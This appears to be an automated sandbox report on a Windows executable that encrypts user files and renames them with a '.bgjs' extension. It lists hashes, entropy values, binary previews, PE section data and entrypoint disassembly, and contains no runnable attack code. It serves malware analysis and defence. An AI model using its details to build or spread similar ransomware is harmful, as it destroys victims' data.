SSDEEP:	3072:RVHLGNOyZqLPFWvkJKvFY5B7hdCGtiz8VaFn6KFjkeRZY3yWjaps0O/949ZoJLyl:RVrGNOEqLdZcNOmz1FnjPoyH9QYG6Wcd
MD5:	36445E7F7D4007EBCB2D72F4779A4AD6
SHA1:	AB2F85D5B92E99FFCCD386B29AA4D1488995654B
SHA-256:	8355A9B109D7696231AB258F4B55485C0B9A61CF1137E20E8F3370DAC08347E0
SHA-512:	44586C7D705274520ED681E1A697424A717D7C5D6DE40B4BE282637B58C0713601E17C6E6BEC76E71E83578B460BD4779F27E11ED5F7C50941476B73ECF21822
Malicious:	false
Preview:	. .....n...}.t....,.../.e..s.t.l.o#...l..$....V..GKdY-f..%0...{i.P.0..'3..~2......[SS~..\|..$...8.1...N..Ww.#=..:kZ..iou.i..p.).K.FE4{.Y.O.C.\.!3.&?i...$F...e.............n~.&..4.....H1FT...e-.k...9].T..\|U......;.].JU..r....7.j....L..c.'.^A.F..\|.4k..?.N..`......-.n(.\.R..$.....r?........T.C.Wo:..U.j.MOMM60Rr".F4...."p...5.Z.\+...o...Y.-...n.Q2G4.+.......'....^-xg.(.&\|...~).6.R%.1).H>._.....D.F..z\z.Ek`.0..`..,..x....B.........K/..I.1Q\.X......:..#E.... o.,RFn.4...A.\|x...nQ...`...ZI...y.y3.I..y...8.tE6...p..o.&.h.%o]4@T;..MZ:8B.....\AW/.w..R3.L..M+9..2a.k...d.b.;.lK...=..@(......PE?ex..\|..u.n4..t..mA.v......2.l9I.W..9...o+.CH..pS.Z..m......YIe}...H>}A...H;tw..e$o...Z..)..;&....f..d_..........x...!B ..Fg....S...w4.q...............=...s..A.#b2....B.zQ.DTr.l.F`1_..m.)...V$+..@.<.. o%...qv.+a.....\..0...t...)Ep.$.;.&G.mK...Z./.#..=...A.^.]...... .'..Kj.u8S.......N]..",8.....q^..^......y.s[.,S..g.0.$xF,...V...,.M..j.....".......M5.kM..y.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991728490407387
Encrypted:	true
SSDEEP:	384:/DkGo0t1WPervjFpJ5irP5skEjL25OKuY8DtsxFURu3+Xi4NHarfT06WEp8gxp:NJ1WPeDvJsDeuKtsH9+Xih7T06dKgxp
MD5:	A74E9CD252D913007B17D1083E90E76B
SHA1:	649980C5C4D1B80DA93358441BCF44211B6922DF
SHA-256:	30FC1679360ED69F39D278F9034A7C55EE0F2FB3B90BCDE780B3A099C867213B
SHA-512:	B08D577D4EDFCF341EAD9CBD737D89B33F879A6B9CB9E84B7B96258738D11F051EC6F5D3C8F87D819283DF27A4D210E0A9C042679FFD56892D6540EB754AEF10
Malicious:	true
Preview:	. .........lS.[......w....=..A.v.f..;7.'.\..L...EN`.ekz[.ag..I.3F00.Xdd........z.L.W7K.X......C....Y...w.Nz.8[?#.....Z....o.t..q...,^8Ae.H..8...0u.b....9U-..A...}......TE..........6r.+.S...."......n>]t.o...\.{.....n...~.G..S.sa.<..4.n.z..GR....8...2=3.Bc..)^...7D...........E../w.c....... .E.\|.cU..-...`.A3.X.2&.t.1..S.$c/.g....ld\i9..../".}?..B.. .B.E.B...........k..._..}........f..gw..<5..0.....f.o......f...N...(.6.f.:.....3@&..rN..r.JF.....fC...?r.!.....r.X.....`.6/9.J]....".f..J].."......\|o..........?.....nD(....A..3..}..+.F{h......O1...as....8;.........=GX.......u..6d..t.q.Uf......CM.X..NR'.l&....C$...'..T..5cs.'9.t.9.4"q..\....ww..,...d.5._...E...5...;b...0.JsQ....+.[....?{kw..1.h.+..qf..f....#.Y.....&fp.7.6..3";..R.v.=e....' ?....&.:.....@..._x.h.L.0v...e.<...d.(-....^~.K..,e3\...2.K...... ..u.z.~.}x...Ke...[`.^0cA..)]d.h.5.L#..........Q.-...u.{.&=..9..b8BZj.39. ..y"...G9...9.....5...p....N.....8.b.....}%....Z......k........

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.330225493765534
Encrypted:	false
SSDEEP:	6:cbNUq/jGTHjnQhv45Mfr2ktslU7JzmfKWwVY++pkY2XGObTbuBscii96Z:c6qanQG5MKktsHKWwVB+N2XGGfuOciik
MD5:	5433AF12AE1FDAADEDEBE8672904C8A1
SHA1:	B63CFA43D26440C5D1E0D14E9F27D213B21022B9
SHA-256:	EFD23E4B8D14649296852305339A44AA451AEB324D1DF5FB64B6F2D4E7D6E4C6
SHA-512:	E102E3E0ABD6BCBEFF9533D529B3F0801E17BB77166F8B1F89216474715BC6EE02CD6B54A170A5A06678BAB1E3E11FF4253E376511520BA6687B76BDF8B45988
Malicious:	false
Preview:	CMMM ..k.w...Q.F..B..>b%.tK.#f+L.p.*.......j..4=...B..".WT..?0.a..lj.1....@1..........P..Q.{.o.w.......>..V#tOG.....).....O.T.js....s....t.._.$@H........`......."..0.p3....5Z......-_3'..F.h...(..s....9pbBuJ,x.....}P8...R...CB...d`.. T.ir....V.Cs...........nb...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.24000315742383
Encrypted:	false
SSDEEP:	6:oSDLJKvZunQQhoU8VW/Fr7k7YJjFtQ54dbaEgoHuBscii96Z:oSDovZu5m2R7ymjFtQKdbaOuOcii9a
MD5:	0157294FE84C937DAC46DC8C1DA29315
SHA1:	082CAB9F0CE98C4382D640E72ACDC3CC2D05F704
SHA-256:	CBB899F3A07D8163798D4E2453415362D9C793655667C8A1560750978AE799D2
SHA-512:	EE7B3A38931928C60F172F60553E72340F068F64E7FECC81DF3AC8F9DF8798EB732F996FBAC9E7DDC3BA037C0EF523F12656209FCCF1C5BD4F55AC9C094DDBB3
Malicious:	false
Preview:	CMMM B.{.....-.a..b.R..My.c..#_....1i.+.......;..........tT.z.O.........^.Nv......F.j9..."v.\..".b..w\>.....9...[.6m..1M.F.*....=.,9...eq\...K[.Dr.;T ..p Q..5......+T...$....m.u(.t... (.}A...UJN...(...u.^.jt.Cb4......F.>x..Y.N%tJc".'...Ze-..p+~..u..!......+l.......>.GZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.345454316652004
Encrypted:	false
SSDEEP:	6:FBKvbJe8wxrP7pGwB4yVjhNLH/18HqEDWvsuK6W4VThQwYCQMmuBscii96Z:F+le8wxb7pGwB4yVhNLH/+tDWy6FVLYh
MD5:	4F226906BDBA02CE6C9BFC3FCE6CEED0
SHA1:	092837262A5BD9D29716B6E21ED001568EAA06E2
SHA-256:	D27E9688AB0CFAE453261BDF4604AED21742266E07AC255D70097B60B1FF7B96
SHA-512:	4637A1153FB3BC1B99894754EA45C77C861796D80EB69A48C42DA2D181F48D3007E36441BF694515A4ACC8F739822273297E52D02A0DCC746418F9B0E4A7DFC0
Malicious:	false
Preview:	CMMM .x.....'j.Q.lv..]..7._k.cG....B...8O.S...!..B.[.;.>.....j....u.....N@.%.......b.........w.......G..&.$..K#....w+K..).e....R.......&..?:1.F....HTb...."~.G....V......I.9..VU....J...H8..y...&.G..p..[....Vvg~$.."."..>.0(.X...<O.O..BE..K..+.Sv..A.i.u..Ln.5.../_..K.pmZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2604106377328765
Encrypted:	false
SSDEEP:	6:+aXPkKYXX3VjOQdAHXexDw2RKJEISYck7MHQ5LdAeLr16DxHEJwuBscii96Z:+ccXljCqDw2RKOvYRa4d6D1OwuOcii9a
MD5:	AC744CE2410BAEA801406408DE045C46
SHA1:	C43DAB691AE3867EB25A9E529921EABF9534B597
SHA-256:	35CE1E7B69A7EDE72B5BA75E50B110D573004F4246790C23D899664A8811B363
SHA-512:	1CC579F022CFCF2E1834158A2A985F1FD828186F5CD3D5BAE9AA53FAFA66718C1CEB45651E385D23F795857B685DF1A36FF74BE9426BB4293CBD3286D3E11EC7
Malicious:	false
Preview:	CMMM ...N.[..*.(.....?.S......\..+P$h...L....,sK.E.u.H...0..jy{..r.V..=.m.6...x0.\|...A.%.I.;vF#7.1]N.0...y3.a.i.K..{....$..q..h..67.K.P/."<R....W......m/.m.M.4.....X...sfC..s..U...@..Y ..Mu...,..n ..J0....rK.BT..`......~.O.Q.cy.4..:..C'...........[.MA.i...\|..<.hYZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.334443203495982
Encrypted:	false
SSDEEP:	6:nTbHExcJfoFw+rRJNgt1VcXK8+0wpg1rB8xvjEr3+yUx2ES6OAGwuBscii96Z:nTbHAFrGt1Vk+0w24ASVOYuOcii9a
MD5:	4E18564E55140FD117A9B84027676968
SHA1:	E1B651383ED720513BE71490A346D1138396CAEB
SHA-256:	945A67ED2C7AA93ECF4AB55FB3A4F0CB891610F25B38106A190066F7F3CADB08
SHA-512:	EC49429C27DB2D5042EBA524F40113CE81A5045C77271569F1B9818C1EED4BE55CBB0AFC25FBD5F75C0E08105DF9D02AE612A35A128659DCD56E79CACD8C512F
Malicious:	false
Preview:	CMMM .Y............0f..k.".6.C.[.rS.../....8..]..c.U...x....P.........s.I..K...7..^..Y.C<..<....d R.*..Gy...Y4V..B...6...b.[S.`.LF..C.,....G'...N?)T,.AY.$...6..M J".!.........?..EB......?...,.)...H.mi3G.^."...%.......v.....=.U.P.nv_X.(.3...p..u..m..............Bb.@.i!Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.215548164401028
Encrypted:	false
SSDEEP:	6:DMAQtWZMDjzRsY49H8tUxEyA2zP1rnrHra+s9CDaE23buBscii96Z:IAB6BbdsAqZq+s8GLuOcii9a
MD5:	92CA9A83444D1989E79985D23E67C414
SHA1:	627D35E939D79C7ACB8D1336DB6E25A9F9F485DD
SHA-256:	51A5ABEAE30FDD987800E5E36CB54F8BB72E3B143F7920C42974796C30E3AE17
SHA-512:	EAF39450912C9104CE374A7737C738C13A28EAA87ACF4253E734FF79031D0EDD139072307D25CB08C2680AF3B7B50261175488CD3F60A45A3DC9DE43BD636EB9
Malicious:	false
Preview:	CMMM ........m.u.Q[...C/s;. v....HV...^>..I.?t.:.....&.[...t7...-2o..M.76.M..b....b.i......r(.....L.}.0Au..j]v8..S$Q{.a..............X.^`.T+..A..o....Q%..O..5";..$L..qX.E....m.....V"w.Iv8]0....J....._...u..... }..~..8..BD(.z4..............5.z....".m./.h...6...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.990286526700847
Encrypted:	true
SSDEEP:	384:UmzzIDRedWheT8HzBc0BdkgP6g52O6Z1PPqRz6F/4Gfhnj7tkU7xeeeb3uISpl:USziedWheTwxygPbEzZVu0/ZfVj17x+W
MD5:	F8947406B19B18985CE9BF0161815337
SHA1:	68C5C9BAA11317EB43F911FF0C85442079CCF57A
SHA-256:	4685E84A7D5F9D06134D0CA1002EAF8A2F51B3D83B17843E4613F3D34160FD4E
SHA-512:	A9CBE7431F7B2C084B2AB93C81D1E3FE6A3A272FC8FBD96D9F4F23AD2D4CA1D690911FAAD0C5BE38F9A15E82F16EA6C58A535D76A86051F55F5BE01322FD07B5
Malicious:	true
Preview:	.......O.>gAyL......c.+..z...[....t..z013.o.......)..........>.E..Z.....M...8:...5....i.3....V.G..'.........FkSo..D.&...L.KO)...P.....%..B..?.Jed.\|I..w......:k1Y......a.[.b.Lh..W.T.`'m..I].a...p...K......F.CM.rz+0.....C..x0..={+oE.d.-....U7....>.&+.M....V(.+....!6.CG.n.$+...QuV.-..U. p.(..2.Y4Q.`.[.......+...;..S}.Q.(..j......I.....H<..cjDUK..4i..TrDd..K...z..v..l,..,....~..{.^.."......w.+..H...I...i....p..Aj.i{C...>.1)Kh.3]....f.ax....OY9?~...<z<.\>i......GT.d#.........y.Gd..1lk.G..qD.O#.<.JB#9G...B.b.Pv.7.Y..3p....../,.z9..iR_u..U....7.s.J".....}...T... ..:#w...RO._4.....r...pQk...~. 7G...FkG..j..3....8..`...jB..._..c...u.....Cx.P...v.(}..;.......H....I.QI...../..oH<<....D\|.....l.\|O..f....m.(.q.k....Vh.X....=e@~...n..t'......e...f...ke...j.ZI.....r...T..]......O@iH. <...B...A...x..4...r..+..k.........'F.La..k...Q../..y.?..>40{..]\..&fx..*....vf.....v.D...........;..K.bxoC.5j...M.[...d.b....?..x..n.%o^._.i.1.7......Yn.h.'F..?.B.B......9(

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.991713666583884
Encrypted:	true
SSDEEP:	384:a8hX+o27ALJQDEWI58vaMvMMKgrkk6GcHtgggv3x35Ot6jQ/X12gEKVr:a84o20JQnIKSMMMK9kLcH/mhJO0ja8vG
MD5:	BB96CB20AF38959FBABA49C6D6830E0C
SHA1:	330E64F789455807C5D3A878C87DDB68488EFE3A
SHA-256:	4981BCB49D64957EDE2B35C4DB5166374D3F8A6E061FC682965C82F53A2C11AD
SHA-512:	823EA4CC4E726876F2DC9BA55D3961EB7C985D6E8D8C8F4FA00D661B434C958522D15CAEBA0F9FCF6073FA0D89C80AEE3C4A4B5C4F8A5310740B3A43D9EA4A7B
Malicious:	true
Preview:	03-10Z.H..@....................'I.......^.}.q.nwA\|.....:..........Wpqm...2....@I......../....O.....P..j..=n../Yv.m..G......R......j.......p.\|=5.g...L.......M.o/.`poJ.q....`S.cC3......%..7H..P......Go.!..T.6{u.....y,.G..4..].N..}...O..q..HW..Jb..os...C..f..N...(>..z.qs.AdK........to...%...=.7Si.e..c>.c...c#.....Q.......^.h.$C..I.....n...;....N.....MF...d....b..c......g..c^.o.n.6x..E...I..=.9.NP.).{wr...F..m. ..a..@..3u=.+.C.....[D..<M.E.........#..]6^..I4...}..N..{.m..5.4+>.J.`(.7../..........C..X.....R ..P.v......c8.]w.....W..."1Y.9u^.v ..p...FF..ZD.i.../s......&t.CFf..Bn.g.p..p(.%./!IPT\|v.o.y....o.)...'.w./.9.......f ....]1.........\...Qz$Q..~\|X[..........]..Q..~.-\|g.7IQ}4&..T..ai..{..!..o,.........d....,.gQp vfk.-h.r..k.EA..B..e..7=...'0..3........fzp`.Z.D.\>..F...z.!~?.q..V.....h%.B$.....<....,.~..?..Z...Bu_lh.<..._t...../......$.w.........Z..pl._..(....~H....8.v.X...T...f.........._4[}d..@+D..\.6..7.....j..i<..`..5.3.r.b.>b6.G.y.....u.

C:\Users\user\Local Settings\bowsakkdestx.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	7.80029649188467
Encrypted:	false
SSDEEP:	24:OFrPHtCKo9pSYDohyj+rjkN6JEUkAVe6clkqolxoObD:OFr/tXopwhyqrjkIJEfAVmqllD
MD5:	069CE5C24CF93710C6C1FA6E1B4C42AB
SHA1:	2F8E33BD783F5AADA31F870C841E3B904AD3A001
SHA-256:	58F431B3DFF1C98C45B4436F99146DAB370EDE9CC125C62C322D79527EBA619C
SHA-512:	9B991F709768EB2D166C7083B05CAE81E375DF6F7AFE99827AFF776DA042E5095726BAC4D455F171470B921E238D388E5E58147B99A6DE41828962680E656188
Malicious:	false
Preview:	i.=.37m./.,'.M..,....?y...$..Q...p+...g....}...l.F..1ZC!b[L.../.uT....^..T..>.z......N..j9.m.v}.>.....w.L....yi.XA..y;U.Fc...A\|..V...#.jg.S..m$..0l)r.]E.O..8c5(8&!3O..r...8......M...K.En..+e.a."..0......,..b3{$.<0..w.c.F..I...j...=..se....2.Y.../..Qy.\e...?F.P.p{..?...;e....3X........5.>.@.e<....r"A0CTq.E..y.....M[....N.S..l".q.i\|..;f7........z.&...2..]..n..l.?..a.....d.V<:.;Z.R....~..nU:....U....Ea.~..m...n..<e..M(mgH.Kj...dw.Z.......-[.1..h..V..P..R.T......%1......%._....g....z.y5D#Zg......x.,........Se4d...?(.*.3.8...}.c.....Y..Hrd.B..-.^...b%.RY.V/^p.}.P...r..'....s..=..T.0.......^.+......T.(.L...:/.b..J..b.S\|.A.).!.....> .o.s.2.B.t!.&.r....D.....!.(.............F~..hR.P.s....tb...._..EF....J..}b./.;...x.Z...[.%..K...S.B.p....x.Im.i....L.uM.....{.......:..(.....%.)X....t....ly2ri..<..#..:.FMoT.\...4..[n...l~..\|;...GC.JXY.a1...9^....3.....@Eh.-m.../.4._..$.K..X.....,...@.I4.....G.f..=...Z$...]tc.K1..Y`&U8[yZ6iwSvCoAt8T8K2ROxecuXHPNHv

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.814879627461549
Encrypted:	false
SSDEEP:	24:yX4+IqnZsSPCFjmsOMVi8NtambedNZBrG8HWlefvnObD:ZqnZXwTOMPcdUPleHsD
MD5:	C5A2130B2AD0713301B0B5228CA4F2E6
SHA1:	ED3AD6FDA9D3E3130CA84722F2F106FBC210DE52
SHA-256:	16FDFB9D4BBC11E2E20E1CED3AA2FE91126CE2FBCDAF730D67B85B5B0B9B5F45
SHA-512:	5ED8789689B192734BF1ADAE1EF867C6FD5D8CBA9B514BD52590C8BF3E832DEC5C9301F512A76B80E42D2CC2AE3DDEBCFBC093496BFBF4A5E04592DDBCACC6AD
Malicious:	false
Preview:	<?xmlTU.E.&.+.....U..4.Z..G...1^)........li...1......1H.Py..`-....$@...n."1'=Y.....n..7..K....DuA.\|....IB.g.../..\....c.U.x;R.G3..7.Z>..../+....S.`.''.#........u.(U....](:#3...g:3.)...N.K.}p...X...`R.h.h...i..3W.../N95...#...._.....B...3.-.#. ...K.....d3.....O.-o._..r..w........H.c..[k.....CzgVr..]Y.`..Y.XLF......t...+./.>..w.Q..#...8...d6...0..VCg.9...c...........P6b..\|..h.5`....P+..QD#..8..a..1.M)..Q...].W..^..ubB?.V.D..9...R....co.k9C.O@X..g...^.D.BC..i...u...[./OPn.]_..C.v..m.a...b=.E....:...s:.>gY;.0}+..t._...._...V.sc?....\|I.'}V...Yb..<k.......(.........T.CB..3...].-.9Hy....\.?..b........ .I1gJ.j....Ul....!3..[7.X..V..!FR..]^..Y4Eb.T.D....\...M ]..R..=.\.[..(6S.c+G.Zn.[;.H.....ZF.p\...2.3..~.(*..3...n.O)[.Z.w#..,...)..w..M...A.T.....`.....,......._=...a...W.h...P.P...r....J....4.gj.?....m..N.:2..6e.i;.'..OTo.....8...M.A...."dp.....Wz..D.....V(......M...M....wWZ.y56..rdv..!....:4.%..........'.I&.....J4.....r.y.D.kA..@.......?.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.814879627461549
Encrypted:	false
SSDEEP:	24:yX4+IqnZsSPCFjmsOMVi8NtambedNZBrG8HWlefvnObD:ZqnZXwTOMPcdUPleHsD
MD5:	C5A2130B2AD0713301B0B5228CA4F2E6
SHA1:	ED3AD6FDA9D3E3130CA84722F2F106FBC210DE52
SHA-256:	16FDFB9D4BBC11E2E20E1CED3AA2FE91126CE2FBCDAF730D67B85B5B0B9B5F45
SHA-512:	5ED8789689B192734BF1ADAE1EF867C6FD5D8CBA9B514BD52590C8BF3E832DEC5C9301F512A76B80E42D2CC2AE3DDEBCFBC093496BFBF4A5E04592DDBCACC6AD
Malicious:	false
Preview:	<?xmlTU.E.&.+.....U..4.Z..G...1^)........li...1......1H.Py..`-....$@...n."1'=Y.....n..7..K....DuA.\|....IB.g.../..\....c.U.x;R.G3..7.Z>..../+....S.`.''.#........u.(U....](:#3...g:3.)...N.K.}p...X...`R.h.h...i..3W.../N95...#...._.....B...3.-.#. ...K.....d3.....O.-o._..r..w........H.c..[k.....CzgVr..]Y.`..Y.XLF......t...+./.>..w.Q..#...8...d6...0..VCg.9...c...........P6b..\|..h.5`....P+..QD#..8..a..1.M)..Q...].W..^..ubB?.V.D..9...R....co.k9C.O@X..g...^.D.BC..i...u...[./OPn.]_..C.v..m.a...b=.E....:...s:.>gY;.0}+..t._...._...V.sc?....\|I.'}V...Yb..<k.......(.........T.CB..3...].-.9Hy....\.?..b........ .I1gJ.j....Ul....!3..[7.X..V..!FR..]^..Y4Eb.T.D....\...M ]..R..=.\.[..(6S.c+G.Zn.[;.H.....ZF.p\...2.3..~.(*..3...n.O)[.Z.w#..,...)..w..M...A.T.....`.....,......._=...a...W.h...P.P...r....J....4.gj.?....m..N.:2..6e.i;.'..OTo.....8...M.A...."dp.....Wz..D.....V(......M...M....wWZ.y56..rdv..!....:4.%..........'.I&.....J4.....r.y.D.kA..@.......?.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.578214596804277
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8jvTeVxooN.exe
File size:	851'456 bytes
MD5:	efd7d885536ef4fd62cbc513bbe04d6e
SHA1:	7e3a86188066eaa404a60c9686624fda1b12ae51
SHA256:	6c0bd6cae657449a07dcb78940ea732d7e4e24546477b083116bff4c99bd417d
SHA512:	d983be29e14760e67722fa2d5a0c09f55d34a2528faed9ebdbdbb957a3cb6de1f806177eb40241dccfdbe6c8cfb0669459b9b7144f0807a5bd5bc2852aabc70d
SSDEEP:	24576:LtSUbR9X6EqqMJPf4k2kriUyd19SfZ7Q:LtVRNxMJPf4qyJI
TLSH:	0005F103B6D3BC61D462DF728D1987B0162EFCF69E266B5B335C2A1F187C1A19263721
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G..a&.La&.La&.Llt`L\|&.Llt_L.&.Llt^LM&.Lh^,Lf&.La&.L.&.L..ZL`&.LltdL`&.L..aL`&.LRicha&.L................PE..L......e...........

File Icon


Icon Hash:	412145554545410d

Static PE Info

General

Entrypoint:	0x403f5f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65137FEF [Wed Sep 27 01:05:51 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3aaa1b88fde88b6f18cce2952dfece3e

Entrypoint Preview

Instruction
call 00007F30B86EFAD5h
jmp 00007F30B86EAF45h
push 00000014h
push 00418880h
call 00007F30B86EC240h
call 00007F30B86EFCA6h
movzx esi, ax
push 00000002h
call 00007F30B86EFA68h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F30B86EAF46h
xor ebx, ebx
jmp 00007F30B86EAF75h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F30B86EAF2Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F30B86EAF1Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F30B86EAF4Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F30B86EF4DBh
test eax, eax
jne 00007F30B86EAF4Ah
push 0000001Ch
call 00007F30B86EB021h
pop ecx
call 00007F30B86EF437h
test eax, eax
jne 00007F30B86EAF4Ah
push 00000010h
call 00007F30B86EB010h
pop ecx
call 00007F30B86EFAE1h
and dword ptr [ebp-04h], 00000000h
call 00007F30B86ED311h
test eax, eax
jns 00007F30B86EAF4Ah
push 0000001Bh
call 00007F30B86EAFF6h
pop ecx
call dword ptr [004110B8h]
mov dword ptr [0409FDBCh], eax
call 00007F30B86EFAFCh
mov dword ptr [004B230Ch], eax
call 00007F30B86EF49Fh
test eax, eax
jns 00007F30B86EAF4Ah

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18cb4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca0000	0x1f030	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x181f0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfd88	0xfe00	88c04fa96363068bb43211cc714a240e	False	0.6032541830708661	data	6.718490643061015	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x85da	0x8600	62e2157c8b90060475cc20a7f85432d2	False	0.45583605410447764	data	5.138631661625935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x3c85dc0	0x98400	53a5c22f5778d86f080e449da62421e1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca0000	0x1f030	0x1f200	630cec4efe267f287121391c3fdfbfb6	False	0.4452575928714859	data	5.37426285675057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cb9da0	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cb9db0	0xe	data			1.5714285714285714
RT_CURSOR	0x3cb9dc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x3cbac68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x3cbb510	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x3cbbaa8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
